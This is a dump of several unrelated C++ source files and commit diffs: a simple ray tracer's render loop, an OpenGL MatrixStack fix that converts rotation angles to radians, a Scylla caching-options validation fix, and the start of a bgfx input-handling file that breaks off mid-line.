loadtext(\"scene.txt\");\n\n\tif (loadtext.getLoad()) { cout << \"read succesfully\" << endl; }\n\telse { cout << \"Read failed\" << endl; }\n\n\t\/\/must add fetching of variables from scene instead of hardcoding it\n\t\/\/-----------------------------------------Create camera object and image space-------------------------------------------------\n\tCamera camera(glm::vec3{ 0,0,0 }, 60, 1000, 1.33);\n\n\t\/\/----------------------------------------------Create Sphere Object------------------------------------------------------------\n\tSphere sphere1(glm::vec3{ 0,6,-40 }, 2, glm::vec3{ 0.1,0.5,0.5 }, glm::vec3{ 0.4, 0.6, 0.2 }, glm::vec3{ 0.2, 0.5, 0.5 }, 1);\n\tSphere sphere2(glm::vec3{ 0,3,-40 }, 3, glm::vec3{ 0.3, 0.15, 0.2 }, glm::vec3{ 0.1, 0.22, 0.29 }, glm::vec3{ 0.2, 0.7, 0.2 }, 1);\n\tSphere sphere3(glm::vec3{ 0, -3, -40 }, 5, glm::vec3{ 0.1, 0.15, 0.7 }, glm::vec3{ 0.8, 0.22, 0.29 }, glm::vec3{ 0.2, 0.7, 0.8 }, 1);\n\t\n\t\/\/place sphere objects in a vector\n\tstd::vector<Sphere> sphereObjects;\n\tsphereObjects.emplace_back(sphere1);\n\tsphereObjects.emplace_back(sphere2);\n\tsphereObjects.emplace_back(sphere3);\n\n\tbool sphereIntersect = false;\n\n\t\/\/----------------------------------------------Create Triangle Object------------------------------------------------------------\n\tTriangle triangle1(glm::vec3{ 1,7,-40 }, glm::vec3{ 1,5,-40 }, glm::vec3{ 5,6,-40 }, glm::vec3{ 0.5,0.2,0.7 }, glm::vec3{ 0.2, 0.4, 0.2 }, glm::vec3{ 0.1, 0.1, 0.2 }, 0.5);\n\t\n\t\/\/place sphere objects in a vector\n\tstd::vector<Triangle> triangleObjects;\n\ttriangleObjects.emplace_back(triangle1);\n\n\tbool triIntersect = false;\n\n\t\/\/---------------------------------------------------Creating Plane Object----------------------------------------------\n\tPlane plane(glm::vec3{ 0,1,0 }, glm::vec3{ 0,-5,0 }, glm::vec3{ 0.8,0.8,0.8 }, glm::vec3{ 0.1,0.1,0.1 },\n\t\tglm::vec3{ 0.7,0.7,0.7 }, 6);\n\tbool planeInter = false;\n\n\t\/\/----------------------------------------------Creating the Light Object---------------------------------------------\n\tLight light(glm::vec3{ 15, 12, -3 }, glm::vec3{ 0.3, 0.9, 0.9 });\n\n\t\/\/NEED TO DO\n\t\/\/Add the other objects (triangles, objs, plane, light)\n\t\/\/Fix the scene to get the objects from the scene instead\n\n\t\/\/--------------------------------------------------Define the Image-------------------------------------------------------\n\t\/\/Creates an image with three channels and sets it to black\n\tcimg_library::CImg<float> image(camera.getWidth(), camera.getHeight(), 1, 3, 0);\n\n\n\t\/\/NEED TO DO\n\t\/\/Go through each pixel in the image -> make a loop throughout the image, for every pixel do the following:\n\tfloat imageWidth = camera.getWidth(); float imageHeight = camera.getHeight();\n\tfloat aspectRatio = imageWidth \/ imageHeight;\n\tglm::vec3 camPos = camera.getPosition();\n\t\n\tfor (int h = 0; h <= imageHeight - 1; h++) \/\/loop through every height column\n\t{\n\t\tfor (int w = 0; w <= imageWidth - 1; w++) \/\/loop through every width row\n\t\t{\n\t\t\t\/\/reset boolean values for every pixel\n\t\t\tsphereIntersect = false;\n\t\t\ttriIntersect = false;\n\t\t\tplaneInter = false;\n\n\t\t\t\/\/get Camera space\n\t\t\tfloat pX = (2 * ((w + 0.5) \/ imageWidth) - 1) * tan((camera.getFOV()) \/ 2 * 3.14159 \/ 180) * aspectRatio;\n\t\t\tfloat pY = (1 - 2 * ((h + 0.5) \/ imageHeight)) * tan((camera.getFOV()) \/ 2 * 3.14159 \/ 180);\n\t\t\tglm::vec3 rayDirection = glm::vec3{ pX, pY, -1 } - camera.getPosition();\n\t\t\trayDirection = glm::normalize(rayDirection);\n\n\t\t\t\/\/get a ray\n\t\t\t\/\/Raytray ray = camera.rayPixel(w, h); \/\/ray receives the point (w,h) and the direction\n\n\t\t\t\/\/calculate distance to know how far to check\n\t\t\t\/\/glm::vec2 distance{(w - camPos.x), (h - camPos.y)};\n\t\t\t\/\/float dista = sqrt((distance.x)*(distance.x) + (distance.y)*(distance.y));\n\n\t\t\tglm::vec3 colour{ 0.0, 0.0, 0.0 };\n\n\t\t\t\/\/-------toss ray and check for intersection-----\n\t\t\t\/\/for spheres\n\t\t\tfloat nearestSphere = 1000000; int nearestSphereIndex;\n\t\t\tfor (int i = 0; i <= sphereObjects.size() - 1; i++)\n\t\t\t{\n\t\t\t\tif (sphereObjects[i].sphereInter(camera.getPosition(), rayDirection)) \/\/if it intersects\n\t\t\t\t{\n\t\t\t\t\tsphereIntersect = true;\n\t\t\t\t\tif (sphereObjects[i].getInterDis() <= nearestSphere)\n\t\t\t\t\t{\n\t\t\t\t\t\tnearestSphere = sphereObjects[i].getInterDis();\n\t\t\t\t\t\tnearestSphereIndex = i;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/for triangles\n\t\t\tfloat nearestTri = 1000000; int nearestTriIndex;\n\t\t\tfor (int i = 0; i <= triangleObjects.size() - 1; i++)\n\t\t\t{\n\t\t\t\tif (triangleObjects[i].triInter(camera.getPosition(), rayDirection, triangleObjects[i].getVertex1(), \n\t\t\t\t\ttriangleObjects[i].getVertex2(), triangleObjects[i].getVertex3())) \/\/if it intersects\n\t\t\t\t{\n\t\t\t\t\ttriIntersect = true;\n\t\t\t\t\tif (triangleObjects[i].getInterDis() <= nearestTri)\n\t\t\t\t\t{\n\t\t\t\t\t\tnearestTri = triangleObjects[i].getInterDis();\n\t\t\t\t\t\tnearestTriIndex = i;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/for plane\n\t\t\tplaneInter = plane.planeInter(plane.getNOR(), plane.getPosition(), camera.getPosition(), rayDirection);\n\n\t\t\t\/\/------------------------------------------Check for nearest----------------------------------------\n\t\t\t\/\/----------if all three objects are intersected------------------\n\t\t\tif (triIntersect && sphereIntersect && planeInter)\n\t\t\t{\n\t\t\t\tif (nearestSphere <= nearestTri) \/\/case if sphere is nearest\n\t\t\t\t{\n\t\t\t\t\tif (nearestSphere <= plane.getInterDis()) { colour = sphereObjects[nearestSphereIndex].getAmbient(); }\n\t\t\t\t}\n\t\t\t\telse if (nearestTri <= nearestSphere) \/\/case if triangle is nearest\n\t\t\t\t{\n\t\t\t\t\tif (nearestTri <= plane.getInterDis()){ colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\t\t}\n\t\t\t\telse { colour = plane.getAmbient(); }\n\t\t\t}\n\t\t\t\/\/-------if only tri and sphere are intersected------------\n\t\t\telse if (triIntersect && sphereIntersect)\n\t\t\t{\n\t\t\t\tif (nearestTri <= nearestSphere) \/\/case if sphere is nearest\n\t\t\t\t{\n\t\t\t\t\tcolour = sphereObjects[nearestSphereIndex].getAmbient();\n\t\t\t\t}\n\t\t\t\telse { colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\t}\n\t\t\t\/\/-------if only tri and plane are intersected-------------\n\t\t\telse if (triIntersect && planeInter)\n\t\t\t{\n\t\t\t\tif (plane.getInterDis() <= nearestTri) \/\/case if plane is nearest\n\t\t\t\t{\n\t\t\t\t\tcolour = plane.getAmbient();\n\t\t\t\t}\n\t\t\t\telse { colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\t}\n\t\t\t\/\/-------if only sphere and plane are intersected---------\n\t\t\telse if (sphereIntersect && planeInter)\n\t\t\t{\n\t\t\t\tif (plane.getInterDis() <= nearestSphere) \/\/case if plane is nearest\n\t\t\t\t{\n\t\t\t\t\tcolour = plane.getAmbient();\n\t\t\t\t}\n\t\t\t\telse { colour = sphereObjects[nearestSphereIndex].getAmbient(); }\n\t\t\t}\n\t\t\t\/\/---------only 1 intersection occured-------\n\t\t\telse if (triIntersect){ colour = triangleObjects[nearestTriIndex].getAmbient(); }\n\t\t\telse if (sphereIntersect) { colour = sphereObjects[nearestSphereIndex].getAmbient(); }\n\t\t\telse if (planeInter){ colour = plane.getAmbient();}\n\n\t\t\t\/\/Store the colour of the pixel\n\t\t\tfloat color[3]{ colour.x, colour.y, colour.z };\n\t\t\timage.draw_point(w, h, color);\n\t\t}\n\t}\n\n\n\t\/\/-------------------------------------------------Save image---------------------------------------------------------\n\t\/\/Save out the image in BMP format. Pixel values must be in the range [0,255]\n\timage.normalize(0, 255);\n\timage.save(\"render.bmp\");\n\n\t\/\/Display the rendered image on screen\n\tcimg_library::CImgDisplay main_disp(image, \"Render\");\n\twhile (!main_disp.is_closed())\n\t\tmain_disp.wait();\n\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>\/\/Copyright (C) 2011 by Jason L. McKesson\r\n\/\/This file is licensed by the MIT License.\r\n\r\n\r\n\r\n#include \"glutil\/MatrixStack.h\"\r\n#include <glm\/gtc\/matrix_transform.hpp>\r\n#include <math.h>\r\n\r\nnamespace glutil\r\n{\r\n\tvoid MatrixStack::Rotate( const glm::vec3 axis, float angDegCCW )\r\n\t{\r\n\t\tm_currMatrix = glm::rotate(m_currMatrix, angDegCCW, axis);\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateRadians( const glm::vec3 axisOfRotation, float angRadCCW )\r\n\t{\r\n\t\tfloat fCos = cosf(angRadCCW);\r\n\t\tfloat fInvCos = 1.0f - fCos;\r\n\t\tfloat fSin = sinf(angRadCCW);\r\n\t\tfloat fInvSin = 1.0f - fSin;\r\n\r\n\t\tglm::vec3 axis = glm::normalize(axisOfRotation);\r\n\r\n\t\tglm::mat4 theMat(1.0f);\r\n\t\ttheMat[0].x = (axis.x * axis.x) + ((1 - axis.x * axis.x) * fCos);\r\n\t\ttheMat[1].x = axis.x * axis.y * (fInvCos) - (axis.z * fSin);\r\n\t\ttheMat[2].x = axis.x * axis.z * (fInvCos) + (axis.y * fSin);\r\n\r\n\t\ttheMat[0].y = axis.x * axis.y * (fInvCos) + (axis.z * fSin);\r\n\t\ttheMat[1].y = (axis.y * axis.y) + ((1 - axis.y * axis.y) * fCos);\r\n\t\ttheMat[2].y = axis.y * axis.z * (fInvCos) - (axis.x * fSin);\r\n\r\n\t\ttheMat[0].z = axis.x * axis.z * (fInvCos) - (axis.y * fSin);\r\n\t\ttheMat[1].z = axis.y * axis.z * (fInvCos) + (axis.x * fSin);\r\n\t\ttheMat[2].z = (axis.z * axis.z) + ((1 - axis.z * axis.z) * fCos);\r\n\t\tm_currMatrix *= theMat;\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateX( float angDegCCW )\r\n\t{\r\n\t\tRotate(glm::vec3(1.0f, 0.0f, 0.0f), angDegCCW);\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateY( float angDegCCW )\r\n\t{\r\n\t\tRotate(glm::vec3(0.0f, 1.0f, 0.0f), angDegCCW);\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateZ( float angDegCCW )\r\n\t{\r\n\t\tRotate(glm::vec3(0.0f, 0.0f, 1.0f), angDegCCW);\r\n\t}\r\n\r\n\tvoid MatrixStack::Scale( const glm::vec3 &scaleVec )\r\n\t{\r\n\t\tm_currMatrix = glm::scale(m_currMatrix, scaleVec);\r\n\t}\r\n\r\n\tvoid MatrixStack::Translate( const glm::vec3 &offsetVec )\r\n\t{\r\n\t\tm_currMatrix = glm::translate(m_currMatrix, offsetVec);\r\n\t}\r\n\r\n\tvoid MatrixStack::Perspective( float degFOV, float aspectRatio, float zNear, float zFar )\r\n\t{\r\n\t\tm_currMatrix *= glm::perspective(degFOV, aspectRatio, zNear, zFar);\r\n\t}\r\n\r\n\tvoid MatrixStack::Orthographic( float left, float right, float bottom, float top,\r\n\t\tfloat zNear, float zFar )\r\n\t{\r\n\t\tm_currMatrix *= glm::ortho(left, right, bottom, top, zNear, zFar);\r\n\t}\r\n\r\n\tvoid MatrixStack::PixelPerfectOrtho( glm::ivec2 size, glm::vec2 depthRange, bool isTopLeft \/*= true*\/ )\r\n\t{\r\n\t\tif(isTopLeft)\r\n\t\t{\r\n\t\t\tTranslate(-1.0f, 1.0f, (depthRange.x + depthRange.y) \/ 2.0f);\r\n\t\t\tScale(2.0f \/ size.x, -2.0f \/ size.y, 1.0f);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tTranslate(-1.0f, -1.0f, (depthRange.x + depthRange.y) \/ 2.0f);\r\n\t\t\tScale(2.0f \/ size.x, 2.0f \/ size.y, 2.0f \/ (depthRange.y - depthRange.x));\r\n\t\t}\r\n\t}\r\n\r\n\tvoid MatrixStack::LookAt( const glm::vec3 &cameraPos, const glm::vec3 &lookatPos, const glm::vec3 &upDir )\r\n\t{\r\n\t\tm_currMatrix *= glm::lookAt(cameraPos, lookatPos, upDir);\r\n\t}\r\n\r\n\tvoid MatrixStack::ApplyMatrix( const glm::mat4 &theMatrix )\r\n\t{\r\n\t\tm_currMatrix *= theMatrix;\r\n\t}\r\n\r\n\tvoid MatrixStack::SetMatrix( const glm::mat4 &theMatrix )\r\n\t{\r\n\t\tm_currMatrix = theMatrix;\r\n\t}\r\n\r\n\tvoid MatrixStack::SetIdentity()\r\n\t{\r\n\t\tm_currMatrix = glm::mat4(1.0f);\r\n\t}\r\n}\r\n\r\n\r\n<commit_msg>MatrixStack: convert angle to radians before applying rotation.<commit_after>\/\/Copyright (C) 2011 by Jason L. McKesson\r\n\/\/This file is licensed by the MIT License.\r\n\r\n\r\n\r\n#include \"glutil\/MatrixStack.h\"\r\n#include <glm\/gtc\/matrix_transform.hpp>\r\n#include <math.h>\r\n\r\nnamespace glutil\r\n{\r\n\tvoid MatrixStack::Rotate( const glm::vec3 axis, float angDegCCW )\r\n\t{\r\n    m_currMatrix = glm::rotate(m_currMatrix, (3.14159f * 2.0f \/ 360.0f) * angDegCCW, axis);\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateRadians( const glm::vec3 axisOfRotation, float angRadCCW )\r\n\t{\r\n\t\tfloat fCos = cosf(angRadCCW);\r\n\t\tfloat fInvCos = 1.0f - fCos;\r\n\t\tfloat fSin = sinf(angRadCCW);\r\n\t\tfloat fInvSin = 1.0f - fSin;\r\n\r\n\t\tglm::vec3 axis = glm::normalize(axisOfRotation);\r\n\r\n\t\tglm::mat4 theMat(1.0f);\r\n\t\ttheMat[0].x = (axis.x * axis.x) + ((1 - axis.x * axis.x) * fCos);\r\n\t\ttheMat[1].x = axis.x * axis.y * (fInvCos) - (axis.z * fSin);\r\n\t\ttheMat[2].x = axis.x * axis.z * (fInvCos) + (axis.y * fSin);\r\n\r\n\t\ttheMat[0].y = axis.x * axis.y * (fInvCos) + (axis.z * fSin);\r\n\t\ttheMat[1].y = (axis.y * axis.y) + ((1 - axis.y * axis.y) * fCos);\r\n\t\ttheMat[2].y = axis.y * axis.z * (fInvCos) - (axis.x * fSin);\r\n\r\n\t\ttheMat[0].z = axis.x * axis.z * (fInvCos) - (axis.y * fSin);\r\n\t\ttheMat[1].z = axis.y * axis.z * (fInvCos) + (axis.x * fSin);\r\n\t\ttheMat[2].z = (axis.z * axis.z) + ((1 - axis.z * axis.z) * fCos);\r\n\t\tm_currMatrix *= theMat;\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateX( float angDegCCW )\r\n\t{\r\n\t\tRotate(glm::vec3(1.0f, 0.0f, 0.0f), angDegCCW);\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateY( float angDegCCW )\r\n\t{\r\n\t\tRotate(glm::vec3(0.0f, 1.0f, 0.0f), angDegCCW);\r\n\t}\r\n\r\n\tvoid MatrixStack::RotateZ( float angDegCCW )\r\n\t{\r\n\t\tRotate(glm::vec3(0.0f, 0.0f, 1.0f), angDegCCW);\r\n\t}\r\n\r\n\tvoid MatrixStack::Scale( const glm::vec3 &scaleVec )\r\n\t{\r\n\t\tm_currMatrix = glm::scale(m_currMatrix, scaleVec);\r\n\t}\r\n\r\n\tvoid MatrixStack::Translate( const glm::vec3 &offsetVec )\r\n\t{\r\n\t\tm_currMatrix = glm::translate(m_currMatrix, offsetVec);\r\n\t}\r\n\r\n\tvoid MatrixStack::Perspective( float degFOV, float aspectRatio, float zNear, float zFar )\r\n\t{\r\n\t\tm_currMatrix *= glm::perspective(degFOV, aspectRatio, zNear, zFar);\r\n\t}\r\n\r\n\tvoid MatrixStack::Orthographic( float left, float right, float bottom, float top,\r\n\t\tfloat zNear, float zFar )\r\n\t{\r\n\t\tm_currMatrix *= glm::ortho(left, right, bottom, top, zNear, zFar);\r\n\t}\r\n\r\n\tvoid MatrixStack::PixelPerfectOrtho( glm::ivec2 size, glm::vec2 depthRange, bool isTopLeft \/*= true*\/ )\r\n\t{\r\n\t\tif(isTopLeft)\r\n\t\t{\r\n\t\t\tTranslate(-1.0f, 1.0f, (depthRange.x + depthRange.y) \/ 2.0f);\r\n\t\t\tScale(2.0f \/ size.x, -2.0f \/ size.y, 1.0f);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tTranslate(-1.0f, -1.0f, (depthRange.x + depthRange.y) \/ 2.0f);\r\n\t\t\tScale(2.0f \/ size.x, 2.0f \/ size.y, 2.0f \/ (depthRange.y - depthRange.x));\r\n\t\t}\r\n\t}\r\n\r\n\tvoid MatrixStack::LookAt( const glm::vec3 &cameraPos, const glm::vec3 &lookatPos, const glm::vec3 &upDir )\r\n\t{\r\n\t\tm_currMatrix *= glm::lookAt(cameraPos, lookatPos, upDir);\r\n\t}\r\n\r\n\tvoid MatrixStack::ApplyMatrix( const glm::mat4 &theMatrix )\r\n\t{\r\n\t\tm_currMatrix *= theMatrix;\r\n\t}\r\n\r\n\tvoid MatrixStack::SetMatrix( const glm::mat4 &theMatrix )\r\n\t{\r\n\t\tm_currMatrix = theMatrix;\r\n\t}\r\n\r\n\tvoid MatrixStack::SetIdentity()\r\n\t{\r\n\t\tm_currMatrix = glm::mat4(1.0f);\r\n\t}\r\n}\r\n\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n#include <core\/sstring.hh>\n#include <boost\/lexical_cast.hpp>\n#include \"exceptions\/exceptions.hh\"\n#include \"json.hh\"\n\nclass schema;\n\nclass caching_options {\n    \/\/ For Origin, the default value for the row is \"NONE\". However, since our\n    \/\/ row_cache will cache both keys and rows, we will default to ALL.\n    \/\/\n    \/\/ FIXME: We don't yet make any changes to our caching policies based on\n    \/\/ this (and maybe we shouldn't)\n    static constexpr auto default_key = \"ALL\";\n    static constexpr auto default_row = \"ALL\";\n\n    sstring _key_cache;\n    sstring _row_cache;\n    caching_options(sstring k, sstring r) : _key_cache(k), _row_cache(r) {\n        if ((k != \"ALL\") && (k != \"NONE\")) {\n            throw exceptions::configuration_exception(\"Invalid key value: \" + k); \n        }\n\n        try {\n            boost::lexical_cast<unsigned long>(r);\n        } catch (boost::bad_lexical_cast& e) {\n            if ((r != \"ALL\") && (r != \"NONE\")) {\n                throw exceptions::configuration_exception(\"Invalid key value: \" + k); \n            }\n        }\n    }\n\n    friend class schema;\n    caching_options() : _key_cache(default_key), _row_cache(default_row) {}\npublic:\n\n    sstring to_sstring() const {\n        return json::to_json(std::map<sstring, sstring>({{ \"keys\", _key_cache }, { \"rows_per_partition\", _row_cache }}));\n    }\n\n    static caching_options from_sstring(const sstring& str) {\n        auto map = json::to_map(str);\n        if (map.size() > 2) {\n            throw exceptions::configuration_exception(\"Invalid map: \" + str); \n        }\n        sstring k;\n        sstring r;\n        if (map.count(\"keys\")) {\n            k = map.at(\"keys\");\n        } else {\n            k = default_key;\n        }\n\n        if (map.count(\"rows_per_partition\")) {\n            r = map.at(\"rows_per_partition\");\n        } else {\n            r = default_row;\n        }\n        return caching_options(k, r);\n    }\n};\n\n\n\n<commit_msg>avoid exception when processing caching_options<commit_after>\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n#include <core\/sstring.hh>\n#include <boost\/lexical_cast.hpp>\n#include \"exceptions\/exceptions.hh\"\n#include \"json.hh\"\n\nclass schema;\n\nclass caching_options {\n    \/\/ For Origin, the default value for the row is \"NONE\". However, since our\n    \/\/ row_cache will cache both keys and rows, we will default to ALL.\n    \/\/\n    \/\/ FIXME: We don't yet make any changes to our caching policies based on\n    \/\/ this (and maybe we shouldn't)\n    static constexpr auto default_key = \"ALL\";\n    static constexpr auto default_row = \"ALL\";\n\n    sstring _key_cache;\n    sstring _row_cache;\n    caching_options(sstring k, sstring r) : _key_cache(k), _row_cache(r) {\n        if ((k != \"ALL\") && (k != \"NONE\")) {\n            throw exceptions::configuration_exception(\"Invalid key value: \" + k); \n        }\n\n        if ((r == \"ALL\") || (r == \"NONE\")) {\n            return;\n        } else {\n            try {\n                boost::lexical_cast<unsigned long>(r);\n            } catch (boost::bad_lexical_cast& e) {\n                throw exceptions::configuration_exception(\"Invalid key value: \" + r);\n            }\n        }\n    }\n\n    friend class schema;\n    caching_options() : _key_cache(default_key), _row_cache(default_row) {}\npublic:\n\n    sstring to_sstring() const {\n        return json::to_json(std::map<sstring, sstring>({{ \"keys\", _key_cache }, { \"rows_per_partition\", _row_cache }}));\n    }\n\n    static caching_options from_sstring(const sstring& str) {\n        auto map = json::to_map(str);\n        if (map.size() > 2) {\n            throw exceptions::configuration_exception(\"Invalid map: \" + str); \n        }\n        sstring k;\n        sstring r;\n        if (map.count(\"keys\")) {\n            k = map.at(\"keys\");\n        } else {\n            k = default_key;\n        }\n\n        if (map.count(\"rows_per_partition\")) {\n            r = map.at(\"rows_per_partition\");\n        } else {\n            r = default_row;\n        }\n        return caching_options(k, r);\n    }\n};\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2010-2016 Branimir Karadzic. All rights reserved.\n * License: https:\/\/github.com\/bkaradzic\/bgfx#license-bsd-2-clause\n *\/\n\n#include <memory.h>\n\n#include \"entry_p.h\"\n#include \"input.h\"\n#include \"cmd.h\"\n\n#include <bx\/allocator.h>\n#include <bx\/ringbuffer.h>\n#include <tinystl\/allocator.h>\n#include <tinystl\/unordered_map.h>\nnamespace stl = tinystl;\n\nstruct Mouse\n{\n\tMouse()\n\t\t: m_width(1280)\n\t\t, m_height(720)\n\t\t, m_wheelDelta(120)\n\t\t, m_lock(false)\n\t{\n\t}\n\n\tvoid reset()\n\t{\n\t\tif (m_lock)\n\t\t{\n\t\t\tm_norm[0] = 0.0f;\n\t\t\tm_norm[1] = 0.0f;\n\t\t\tm_norm[2] = 0.0f;\n\t\t}\n\n\t\tmemset(m_buttons, 0, sizeof(m_buttons) );\n\t}\n\n\tvoid setResolution(uint16_t _width, uint16_t _height)\n\t{\n\t\tm_width = _width;\n\t\tm_height = _height;\n\t}\n\n\tvoid setPos(int32_t _mx, int32_t _my, int32_t _mz)\n\t{\n\t\tm_absolute[0] = _mx;\n\t\tm_absolute[1] = _my;\n\t\tm_absolute[2] = _mz;\n\t\tm_norm[0] = float(_mx)\/float(m_width);\n\t\tm_norm[1] = float(_my)\/float(m_height);\n\t\tm_norm[2] = float(_mz)\/float(m_wheelDelta);\n\t}\n\n\tvoid setButtonState(entry::MouseButton::Enum _button, uint8_t _state)\n\t{\n\t\tm_buttons[_button] = _state;\n\t}\n\n\tint32_t m_absolute[3];\n\tfloat m_norm[3];\n\tint32_t m_wheel;\n\tuint8_t m_buttons[entry::MouseButton::Count];\n\tuint16_t m_width;\n\tuint16_t m_height;\n\tuint16_t m_wheelDelta;\n\tbool m_lock;\n};\n\nstruct Keyboard\n{\n\tKeyboard()\n\t\t: m_ring(BX_COUNTOF(m_char) )\n\t{\n\t}\n\n\tvoid reset()\n\t{\n\t\tmemset(m_key, 0, sizeof(m_key) );\n\t\tmemset(m_once, 0xff, sizeof(m_once) );\n\t}\n\n\tstatic uint32_t encodeKeyState(uint8_t _modifiers, bool _down)\n\t{\n\t\tuint32_t state = 0;\n\t\tstate |= uint32_t(_modifiers)<<16;\n\t\tstate |= uint32_t(_down)<<8;\n\t\treturn state;\n\t}\n\n\tstatic bool decodeKeyState(uint32_t _state, uint8_t& _modifiers)\n\t{\n\t\t_modifiers = (_state>>16)&0xff;\n\t\treturn 0 != ( (_state>> 8)&0xff);\n\t}\n\n\tvoid setKeyState(entry::Key::Enum _key, uint8_t _modifiers, bool _down)\n\t{\n\t\tm_key[_key] = encodeKeyState(_modifiers, _down);\n\t\tm_once[_key] = false;\n\t}\n\n\tbool getKeyState(entry::Key::Enum _key, uint8_t* _modifiers)\n\t{\n\t\tuint8_t modifiers;\n\t\t_modifiers = NULL == _modifiers ? &modifiers : _modifiers;\n\n\t\treturn decodeKeyState(m_key[_key], *_modifiers);\n\t}\n\n\tuint8_t getModifiersState()\n\t{\n\t\tuint8_t modifiers = 0;\n\t\tfor (uint32_t ii = 0; ii < entry::Key::Count; ++ii)\n\t\t{\n\t\t\tmodifiers |= (m_key[ii]>>16)&0xff;\n\t\t}\n\t\treturn modifiers;\n\t}\n\n\tvoid pushChar(uint8_t _len, const uint8_t _char[4])\n\t{\n\t\tfor (uint32_t len = m_ring.reserve(4)\n\t\t\t; len < _len\n\t\t\t; len = m_ring.reserve(4)\n\t\t\t)\n\t\t{\n\t\t\tpopChar();\n\t\t}\n\n\t\tmemcpy(&m_char[m_ring.m_current], _char, 4);\n\t\tm_ring.commit(4);\n\t}\n\n\tconst uint8_t* popChar()\n\t{\n\t\tif (0 < m_ring.available() )\n\t\t{\n\t\t\tuint8_t* utf8 = &m_char[m_ring.m_read];\n\t\t\tm_ring.consume(4);\n\t\t\treturn utf8;\n\t\t}\n\n\t\treturn NULL;\n\t}\n\n\tvoid charFlush()\n\t{\n\t\tm_ring.m_current = 0;\n\t\tm_ring.m_write   = 0;\n\t\tm_ring.m_read    = 0;\n\t}\n\n\tuint32_t m_key[256];\n\tbool m_once[256];\n\n\tbx::RingBufferControl m_ring;\n\tuint8_t m_char[256];\n};\n\nstruct Gamepad\n{\n\tGamepad()\n\t{\n\t\treset();\n\t}\n\n\tvoid reset()\n\t{\n\t\tmemset(m_axis, 0, sizeof(m_axis) );\n\t}\n\n\tvoid setAxis(entry::GamepadAxis::Enum _axis, int32_t _value)\n\t{\n\t\tm_axis[_axis] = _value;\n\t}\n\n\tint32_t getAxis(entry::GamepadAxis::Enum _axis)\n\t{\n\t\treturn m_axis[_axis];\n\t}\n\n\tint32_t m_axis[entry::GamepadAxis::Count];\n};\n\nstruct Input\n{\n\tInput()\n\t{\n\t\treset();\n\t}\n\n\t~Input()\n\t{\n\t}\n\n\tvoid addBindings(const char* _name, const InputBinding* _bindings)\n\t{\n\t\tm_inputBindingsMap.insert(stl::make_pair(_name, _bindings) );\n\t}\n\n\tvoid removeBindings(const char* _name)\n\t{\n\t\tInputBindingMap::iterator it = m_inputBindingsMap.find(_name);\n\t\tif (it != m_inputBindingsMap.end() )\n\t\t{\n\t\t\tm_inputBindingsMap.erase(it);\n\t\t}\n\t}\n\n\tvoid process(const InputBinding* _bindings)\n\t{\n\t\tfor (const InputBinding* binding = _bindings; binding->m_key != entry::Key::None; ++binding)\n\t\t{\n\t\t\tuint8_t modifiers;\n\t\t\tbool down =\tKeyboard::decodeKeyState(m_keyboard.m_key[binding->m_key], modifiers);\n\n\t\t\tif (binding->m_flags == 1)\n\t\t\t{\n\t\t\t\tif (down)\n\t\t\t\t{\n\t\t\t\t\tif (modifiers == binding->m_modifiers\n\t\t\t\t\t&&  !m_keyboard.m_once[binding->m_key])\n\t\t\t\t\t{\n\t\t\t\t\t\tif (NULL == binding->m_fn)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcmdExec( (const char*)binding->m_userData);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbinding->m_fn(binding->m_userData);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tm_keyboard.m_once[binding->m_key] = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_keyboard.m_once[binding->m_key] = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (down\n\t\t\t\t&&  modifiers == binding->m_modifiers)\n\t\t\t\t{\n\t\t\t\t\tif (NULL == binding->m_fn)\n\t\t\t\t\t{\n\t\t\t\t\t\tcmdExec( (const 